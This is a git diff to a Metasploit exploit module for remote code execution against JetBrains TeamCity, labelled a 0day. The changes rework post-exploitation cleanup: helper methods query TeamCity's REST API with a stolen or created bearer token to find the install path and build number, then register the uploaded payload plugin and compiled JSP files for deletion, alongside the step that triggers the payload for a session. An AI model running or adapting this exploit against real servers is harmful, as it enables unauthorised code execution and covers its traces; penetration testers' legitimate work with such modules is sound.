diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb index 68c8d0ce65..4b2cf5ba8c 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb @@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'License' => MSF_LICENSE, 'Author' => [ - 'sfewer-r7', # MSF Exploit & Rapid7 Analysis + 'sfewer-r7', # Discovery, Analysis, Exploit ], 'References' => [ # ['CVE', '2024-12345'], @@ -68,9 +68,9 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Unknown('Connection failed') unless res - json_data = res.get_xml_document + xml_data = res.get_xml_document - server_data = json_data.at('server') + server_data = xml_data.at('server') version = "JetBrains TeamCity #{server_data.attr('version')}" @@ -206,7 +206,33 @@ class MetasploitModule < Msf::Exploit::Remote # As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done. begin # - # 6. Trigger the payload and get a session. + # 6. Begin to clean up, register several paths for cleanup. + # + if (install_path, sep = get_install_path(token_value)) + vprint_status("Target install path: #{install_path}") + + # The payload plugin will have its buildServerResources extracted to a path like: + # C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ + # So we register this for cleanup. + # Note: The java process may recreate this a second time after we delete it. + register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep)) + + if (build_number = get_build_number(token_value)) + vprint_status("Target build number: #{build_number}") + + # The Tomcat web server will compile our JSP payload and store the associated .class files in a path like: + # C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_6vDwPWJs\org\apache\jsp\plugins\_6vDwPWJs\ + # So we register this for cleanup too. + register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep)) + else + print_warning('Could not discover build number. Unable to register Catalina files for cleanup.') + end + else + print_warning('Could not discover install path. Unable to register files for cleanup.') + end + + # + # 7. Trigger the payload and get a session. # res = send_request_cgi( 'method' => 'GET', @@ -219,48 +245,6 @@ class MetasploitModule < Msf::Exploit::Remote unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') end - - # - # 7.Begin to clean up, we need to discover the TeamCity installation folder - # - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'), - 'headers' => { - 'Authorization' => "Bearer #{token_value}" - } - ) - - if res&.code == 200 - plugins_xml = res.get_xml_document - - restapi_data = plugins_xml.at("//plugin[@name='rest-api']") - - restapi_load_path = restapi_data&.attr('loadPath') - - if restapi_load_path - # Look for the Windows :\ part of a path, e.g. C:\TeamCity to determine if target is Windows based. - sep = restapi_load_path.include?(':\\') ? '\\' : '/' - - # Pull out the path of a known plugin (we know rest-api is loaded as we are using it), e.g.: - # C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api - # And transform the path into the folder our payload plugin extracted to, e.g.: - # C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ - restapi_load_path.gsub!('WEB-INF', '') - restapi_load_path.gsub!('rest-api', plugin_name) - - # Reduce and double separators to single separators, e.g. foo\\bar becomes foo\bar - restapi_load_path.gsub!("#{sep}#{sep}", sep) - - register_file_for_cleanup("#{restapi_load_path}#{sep}#{plugin_name}.jsp") - - register_dir_for_cleanup(restapi_load_path) - else - print_warning('Could not rest-api plugin paths. Unable to register files for cleanup.') - end - else - print_warning('Could not discover plugin paths. Unable to register files for cleanup.') - end ensure # # 8. Ensure we delete the plugin from the server when we are finished. @@ -279,6 +263,69 @@ class MetasploitModule < Msf::Exploit::Remote end end + def get_install_path(token_value) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'), + 'headers' => { + 'Authorization' => "Bearer #{token_value}" + } + ) + + unless res&.code == 200 + print_warning('Failed to request plugins information.') + return nil + end + + plugins_xml = res.get_xml_document + + restapi_data = plugins_xml.at("//plugin[@name='rest-api']") + + restapi_load_path = restapi_data&.attr('loadPath') + + if restapi_load_path.nil? + print_warning('Failed to extract plugin loadPath.') + return nil + end + + # C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api + + platforms = { + '\\webapps\\ROOT\\WEB-INF\\plugins\\' => '\\', + '/webapps/ROOT/WEB-INF/plugins/' => '/' + } + + platforms.each do |path, sep| + if (pos = restapi_load_path.index(path)) + return [restapi_load_path[0, pos], sep] + end + end + + print_warning('Failed to extract install path.') + nil + end + + def get_build_number(token_value) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server'), + 'headers' => { + 'Authorization' => "Bearer #{token_value}" + } + ) + + unless res&.code == 200 + print_warning('Failed to request server information.') + return nil + end + + xml_data = res.get_xml_document + + server_data = xml_data.at('server') + + server_data.attr('buildNumber') + end + def get_plugin_uuid(token_value, plugin_name) res = send_request_cgi( 'method' => 'GET',